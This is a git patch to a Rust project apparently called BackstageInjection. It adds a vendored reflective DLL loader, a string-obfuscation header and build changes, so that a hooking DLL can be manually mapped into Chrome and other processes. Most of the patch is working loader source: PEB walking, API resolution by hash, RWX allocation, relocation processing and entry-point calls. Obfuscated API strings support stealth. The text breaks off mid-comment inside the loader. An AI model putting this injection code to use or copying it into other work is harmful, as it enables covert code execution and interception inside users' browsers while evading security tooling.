From c2d52be150fe6513cf524b5d3589867acd935ed9 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Wed, 19 Aug 2026 15:50:53 -0500 Subject: [PATCH] ai made test 2 reflection --- .gitignore | 3 + BackstageInjection-Rust/.cargo/config.toml | 7 +- BackstageInjection-Rust/Cargo.lock | 1 + BackstageInjection-Rust/Cargo.toml | 3 + BackstageInjection-Rust/build.rs | 48 ++ .../reflective/ReflectiveDLLInjection.h | 51 ++ .../reflective/ReflectiveLoader.c | 562 ++++++++++++++++++ .../reflective/ReflectiveLoader.h | 215 +++++++ BackstageInjection-Rust/reflective/obfstr.h | 57 ++ BackstageInjection-Rust/src/abi.rs | 24 + BackstageInjection-Rust/src/config.rs | 4 +- BackstageInjection-Rust/src/hooks.rs | 32 +- BackstageInjection-Rust/src/inject.rs | 304 +++++++++- BackstageInjection-Rust/src/lib.rs | 17 +- scripts/build-backstage-dll.bat | 11 +- 15 files changed, 1313 insertions(+), 26 deletions(-) create mode 100644 BackstageInjection-Rust/build.rs create mode 100644 BackstageInjection-Rust/reflective/ReflectiveDLLInjection.h create mode 100644 BackstageInjection-Rust/reflective/ReflectiveLoader.c create mode 100644 BackstageInjection-Rust/reflective/ReflectiveLoader.h create mode 100644 BackstageInjection-Rust/reflective/obfstr.h diff --git a/.gitignore b/.gitignore index 1c42c45..4111487 100644 --- a/.gitignore +++ b/.gitignore @@ -39,6 +39,9 @@ bin/ *.out *.dll +# Local BackstageInjection test harness (kept out of version control) +tools/hooktest/ + # Certificates (auto-generated) certs/ *.crt diff --git a/BackstageInjection-Rust/.cargo/config.toml b/BackstageInjection-Rust/.cargo/config.toml index 658107f..71d3e54 100644 --- a/BackstageInjection-Rust/.cargo/config.toml +++ b/BackstageInjection-Rust/.cargo/config.toml @@ -1,7 +1,8 @@ # Statically link the CRT so the injected DLL has no VCRUNTIME/UCRT DLL # dependency at runtime (Chrome and other targets may not have it preloaded). -[target.x86_64-pc-windows-msvc] -rustflags = ["-C", "target-feature=+crt-static"] - +# +# Only the GNU target is supported: the reflective loader manually maps the +# image, and the MSVC CRT's TLS/CFG/stack-cookie machinery fast-fails +# (0xC0000409) under a manual map. See scripts/build-backstage-dll.{sh,bat}. [target.x86_64-pc-windows-gnu] rustflags = ["-C", "target-feature=+crt-static"] \ No newline at end of file diff --git a/BackstageInjection-Rust/Cargo.lock b/BackstageInjection-Rust/Cargo.lock index bc0f389..53d06a9 100644 --- a/BackstageInjection-Rust/Cargo.lock +++ b/BackstageInjection-Rust/Cargo.lock @@ -6,6 +6,7 @@ version = 4 name = "backstage-injection-rs" version = "0.1.0" dependencies = [ + "cc", "minhook", ] diff --git a/BackstageInjection-Rust/Cargo.toml b/BackstageInjection-Rust/Cargo.toml index 4cb81b5..5668a26 100644 --- a/BackstageInjection-Rust/Cargo.toml +++ b/BackstageInjection-Rust/Cargo.toml @@ -10,6 +10,9 @@ crate-type = ["cdylib"] [dependencies] minhook = "0.9.0" +[build-dependencies] +cc = "1" + [profile.release] opt-level = 3 lto = true diff --git a/BackstageInjection-Rust/build.rs b/BackstageInjection-Rust/build.rs new file mode 100644 index 0000000..46f2ebd --- /dev/null +++ b/BackstageInjection-Rust/build.rs @@ -0,0 +1,48 @@ +//! Compiles the vendored Harmony Security reflective loader +//! (`reflective/ReflectiveLoader.c`, BSD-2-Clause, see file header) into the +//! cdylib so the DLL exports `ReflectiveLoader`. The position-independent +//! loader is intentionally kept in C: it is the exact loader the C reference +//! DLL uses and re-implementing it in Rust would be unnecessary risk. + +use std::path::PathBuf; + +fn main() { + let dir = PathBuf::from("reflective"); + for f in [ + "reflective/ReflectiveLoader.c", + "reflective/ReflectiveLoader.h", + "reflective/ReflectiveDLLInjection.h", + "reflective/obfstr.h", + ] { + println!("cargo:rerun-if-changed={f}"); + } + + // Matches BackstageInjection.vcxproj (Release|x64): VIA_LOADREMOTELIBRARYR + // lets ReflectiveLoader accept a thread-routine parameter (the agent and + // child injenter pass NULL), and CUSTOM_DLLMAIN avoids emitting a second + // DllMain (the Rust cdylib exports its own). + let mut build = cc::Build::new(); + build + .file("reflective/ReflectiveLoader.c") + .include(dir) + .opt_level(2) + .static_crt(true) + .cargo_metadata(false) + .define("WIN64", None) + .define("NDEBUG", None) + .define("_WINDOWS", None) + .define("_USRDLL", None) + .define("WIN_X64", None) + .define("REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR", None) + .define("REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN", None); + build.compile("reflective_loader"); + + // Force all members of the static lib into the DLL even though no Rust + // symbol references them; `ReflectiveLoader` carries __declspec(dllexport) + // and only becomes an export once its object file is actually linked. + println!( + "cargo:rustc-link-search=native={}", + std::env::var("OUT_DIR").unwrap_or_default() + ); + println!("cargo:rustc-link-lib=static:+whole-archive=reflective_loader"); +} \ No newline at end of file diff --git a/BackstageInjection-Rust/reflective/ReflectiveDLLInjection.h b/BackstageInjection-Rust/reflective/ReflectiveDLLInjection.h new file mode 100644 index 0000000..72fd96b --- /dev/null +++ b/BackstageInjection-Rust/reflective/ReflectiveDLLInjection.h @@ -0,0 +1,51 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include + +// we declare some common stuff in here... + +#define DLL_QUERY_HMODULE 6 + +#define DEREF( name )*(UINT_PTR *)(name) +#define DEREF_64( name )*(DWORD64 *)(name) +#define DEREF_32( name )*(DWORD *)(name) +#define DEREF_16( name )*(WORD *)(name) +#define DEREF_8( name )*(BYTE *)(name) + +typedef ULONG_PTR(WINAPI* REFLECTIVELOADER)(VOID); +typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID); + +#define DLLEXPORT __declspec( dllexport ) + +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/BackstageInjection-Rust/reflective/ReflectiveLoader.c b/BackstageInjection-Rust/reflective/ReflectiveLoader.c new file mode 100644 index 0000000..e2ede62 --- /dev/null +++ b/BackstageInjection-Rust/reflective/ReflectiveLoader.c @@ -0,0 +1,562 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#include "ReflectiveLoader.h" +#include "obfstr.h" +//===============================================================================================// +// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value +HINSTANCE hAppInstance = NULL; +// Store the parameter passed to ReflectiveLoader so DllMain can access it +LPVOID g_lpReflectiveParameter = NULL; +//===============================================================================================// +#ifdef _MSC_VER +#pragma intrinsic(_ReturnAddress) +#define RDI_NOINLINE __declspec(noinline) +#else +#define RDI_NOINLINE __attribute__((noinline)) +#endif + +// This function can not be inlined by the compiler or we will not get the address we expect. Ideally +// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of +// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics +// available (and no inline asm available under x64). +RDI_NOINLINE ULONG_PTR caller(VOID) +{ +#ifdef _MSC_VER + return (ULONG_PTR)_ReturnAddress(); +#elif defined(__GNUC__) || defined(__clang__) + // For MinGW/Clang, use GCC builtins and extract helper for target-specific safety. + return (ULONG_PTR)__builtin_extract_return_addr(__builtin_return_address(0)); +#else + return 0; +#endif +} +//===============================================================================================// + +// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, +// otherwise the DllMain at the end of this file will be used. + +// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, +// otherwise it is assumed you are calling the ReflectiveLoader via a stub. + +// This is our position independent reflective DLL loader/injector +#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter) +#else +DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID) +#endif +{ + // the functions we need + LOADLIBRARYA pLoadLibraryA = NULL; + GETPROCADDRESS pGetProcAddress = NULL; + VIRTUALALLOC pVirtualAlloc = NULL; + NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; +#ifdef WIN_X64 + FARPROC pRtlAddFunctionTable = NULL; +#endif + + USHORT usCounter; + + // the initial location of this image in memory + ULONG_PTR uiLibraryAddress; + // the kernels base address and later this images newly loaded base address + ULONG_PTR uiBaseAddress; + + // variables for processing the kernels export table + ULONG_PTR uiAddressArray; + ULONG_PTR uiNameArray; + ULONG_PTR uiExportDir; + ULONG_PTR uiNameOrdinals; + DWORD dwHashValue; + + // variables for loading this image + ULONG_PTR uiHeaderValue; + ULONG_PTR uiValueA; + ULONG_PTR uiValueB; + ULONG_PTR uiValueC; + ULONG_PTR uiValueD; + ULONG_PTR uiValueE; + + // STEP 0: calculate our images current base address + + // we will start searching backwards from our callers return address. + uiLibraryAddress = caller(); + + // loop through memory backwards searching for our images base address + // we dont need SEH style search as we shouldnt generate any access violations with this + while (TRUE) + { + if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE) + { + uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), + // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. + if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024) + { + uiHeaderValue += uiLibraryAddress; + // break if we have found a valid MZ/PE header + if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE) + break; + } + } + uiLibraryAddress--; + } + + // STEP 1: process the kernels exports for the functions our loader needs... + + // get the Process Enviroment Block +#ifdef WIN_X64 + uiBaseAddress = __readgsqword(0x60); +#else +#ifdef WIN_X86 + uiBaseAddress = __readfsdword(0x30); +#else WIN_ARM + uiBaseAddress = *(DWORD*)((BYTE*)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30); +#endif +#endif + + // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx + uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; + + // get the first entry of the InMemoryOrder module list + uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; + while (uiValueA) + { + // get pointer to current modules name (unicode string) + uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; + // set bCounter to the length for the loop + usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; + // clear uiValueC which will store the hash of the module name + uiValueC = 0; + + // compute the hash of the module name... + do + { + uiValueC = ror((DWORD)uiValueC); + // normalize to uppercase if the madule name is in lowercase + if (*((BYTE*)uiValueB) >= 'a') + uiValueC += *((BYTE*)uiValueB) - 0x20; + else + uiValueC += *((BYTE*)uiValueB); + uiValueB++; + } while (--usCounter); + + // compare the hash with that of kernel32.dll + if ((DWORD)uiValueC == KERNEL32DLL_HASH) + { + // get this modules base address + uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; + + // get the VA of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + + // get the VA of the export directory + uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); + + // get the VA for the array of name pointers + uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames); + + // get the VA for the array of name ordinals + uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals); + + usCounter = 3; + + // loop while we still have imports to find + while (usCounter > 0) + { + // compute the hash values for this function name + dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray))); + + // if we have found a function we want we get its virtual address + if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH) + { + // get the VA for the array of addresses + uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); + + // use this functions name ordinal as an index into the array of name pointers + uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); + + // store this functions VA + if (dwHashValue == LOADLIBRARYA_HASH) + pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray)); + else if (dwHashValue == GETPROCADDRESS_HASH) + pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray)); + else if (dwHashValue == VIRTUALALLOC_HASH) + pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray)); + + // decrement our counter + usCounter--; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + else if ((DWORD)uiValueC == NTDLLDLL_HASH) + { + // get this modules base address + uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; + + // get the VA of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + + // get the VA of the export directory + uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); + + // get the VA for the array of name pointers + uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames); + + // get the VA for the array of name ordinals + uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals); + + usCounter = 1; + + // loop while we still have imports to find + while (usCounter > 0) + { + // compute the hash values for this function name + dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray))); + + // if we have found a function we want we get its virtual address + if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH) + { + // get the VA for the array of addresses + uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); + + // use this functions name ordinal as an index into the array of name pointers + uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); + + // store this functions VA + if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH) + pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray)); + + // decrement our counter + usCounter--; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + + // we stop searching when we have found everything we need. + if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache) + break; + + // get the next entry + uiValueA = DEREF(uiValueA); + } + +#ifdef WIN_X64 + // Resolve RtlAddFunctionTable so we can register exception unwind data. + // Without this, stack unwinding through our hook functions crashes browsers. + { + HMODULE hNtdll = (HMODULE)pLoadLibraryA(OBFS(_enc_ntdll_dll)); + if (hNtdll) + pRtlAddFunctionTable = pGetProcAddress(hNtdll, OBFS(_enc_RtlAddFunctionTable)); + } +#endif + + // STEP 2: load our image into a new permanent location in memory... + + // get the VA of the NT Header for the PE to be loaded + uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + + // allocate all the memory for the DLL to be loaded into. we can load at any address because we will + // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. + uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + + // Guard against allocation failure (out-of-memory, ACG/CFG policy, etc.). + // Without this check, every subsequent write to uiBaseAddress would be a + // write through NULL — an access violation in the remote process. + if (!uiBaseAddress) + return 0; + + // we must now copy over the headers + uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; + uiValueB = uiLibraryAddress; + uiValueC = uiBaseAddress; + + while (uiValueA--) + *(BYTE*)uiValueC++ = *(BYTE*)uiValueB++; + + // STEP 3: load in all of our sections... + + // uiValueA = the VA of the first section + uiValueA = ((ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader); + + // itterate through all sections, loading them into memory. + uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; + while (uiValueE--) + { + // uiValueB is the VA for this section + uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress); + + // uiValueC if the VA for this sections data + uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData); + + // copy the section over + uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; + + while (uiValueD--) + *(BYTE*)uiValueB++ = *(BYTE*)uiValueC++; + + // get the VA of the next section + uiValueA += sizeof(IMAGE_SECTION_HEADER); + } + + // STEP 4: process our images import table... + + // uiValueB = the address of the import directory + uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; + + // we assume their is an import table to process + // uiValueC is the first entry in the import table + uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress); + + // itterate through all imports + while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name) + { + // use LoadLibraryA to load the imported module into memory + uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)); + + // uiValueD = VA of the OriginalFirstThunk + uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk); + + // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) + uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk); + + // itterate through all imported functions, importing by ordinal if no name present + while (DEREF(uiValueA)) + { + // sanity check uiValueD as some compilers only import by FirstThunk + if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG) + { + // get the VA of the modules NT Header + uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + + // get the VA of the export directory + uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); + + // get the VA for the array of addresses + uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions); + + // use the import ordinal (- export ordinal base) as an index into the array of addresses + uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD)); + + // patch in the address for this imported function + DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray)); + } + else + { + // get the VA of this functions import by name struct + uiValueB = (uiBaseAddress + DEREF(uiValueA)); + + // use GetProcAddress and patch in the address for this imported function + DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name); + } + // get the next imported function + uiValueA += sizeof(ULONG_PTR); + if (uiValueD) + uiValueD += sizeof(ULONG_PTR); + } + + // get the next import + uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR); + } + + // STEP 5: process all of our images relocations... + + // calculate the base address delta and perform relocations (even if we load at desired image base) + uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; + + // uiValueB = the address of the relocation directory + uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; + + // check if their are any relocations present + if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size) + { + // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) + uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress); + + // and we itterate through all entries... + while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock) + { + // uiValueA = the VA for this relocation block + uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress); + + // uiValueB = number of entries in this relocation block + uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC); + + // uiValueD is now the first entry in the current relocation block + uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); + + // we itterate through all the entries in the current block... + while (uiValueB--) + { + // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. + // we dont use a switch statement to avoid the compiler building a jump table + // which would not be very position independent! + if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64) + *(ULONG_PTR*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; + else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW) + *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; +#ifdef WIN_ARM + // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. + else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T) + { + register DWORD dwInstruction; + register DWORD dwAddress; + register WORD wImm; + // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) + dwInstruction = *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)); + // flip the words to get the instruction as expected + dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction)); + // sanity chack we are processing a MOV instruction... + if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT) + { + // pull out the encoded 16bit value (the high portion of the address-to-relocate) + wImm = (WORD)(dwInstruction & 0x000000FF); + wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); + wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); + wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); + // apply the relocation to the target address + dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF; + // now create a new instruction with the same opcode and register param. + dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2); + // patch in the relocated address... + dwInstruction |= (DWORD)(dwAddress & 0x00FF); + dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; + dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; + dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; + // now flip the instructions words and patch back into the code... + *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction)); + } + } +#endif + else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH) + *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); + else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW) + *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); + + // get the next entry in the current relocation block + uiValueD += sizeof(IMAGE_RELOC); + } + + // get the next entry in the relocation directory + uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; + } + } + + // STEP 5b: register exception function table (.pdata) with the OS. + // Reflective loading bypasses the normal loader which would do this via + // LdrpInsertDataTableEntry. Without registration, any exception that + // unwinds through our hook functions causes STATUS_ACCESS_VIOLATION. +#ifdef WIN_X64 + if (pRtlAddFunctionTable) + { + PIMAGE_NT_HEADERS pLoadedNtHdrs = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); + if (pLoadedNtHdrs->OptionalHeader.NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_EXCEPTION) + { + PIMAGE_DATA_DIRECTORY pExcDir = &pLoadedNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION]; + if (pExcDir->VirtualAddress && pExcDir->Size) + { + typedef BOOLEAN(NTAPI* RTLADDFNTABLE)(PRUNTIME_FUNCTION, DWORD, DWORD64); + ((RTLADDFNTABLE)pRtlAddFunctionTable)( + (PRUNTIME_FUNCTION)(uiBaseAddress + pExcDir->VirtualAddress), + pExcDir->Size / sizeof(RUNTIME_FUNCTION), + (DWORD64)uiBaseAddress + ); + } + } + } +#endif + + // STEP 6: call our images entry point + + // uiValueA = the VA of our newly loaded DLL/EXE's entry point + uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint); + + // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. + // Guard against pNtFlushInstructionCache being NULL (e.g. if ntdll was not found in the PEB module list). + if (pNtFlushInstructionCache) + pNtFlushInstructionCache((HANDLE)-1, NULL, 0); + + // call our respective entry point, fudging our hInstance value +#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR + // Store the parameter globally so DllMain can access it + g_lpReflectiveParameter = lpParameter; + // if we are 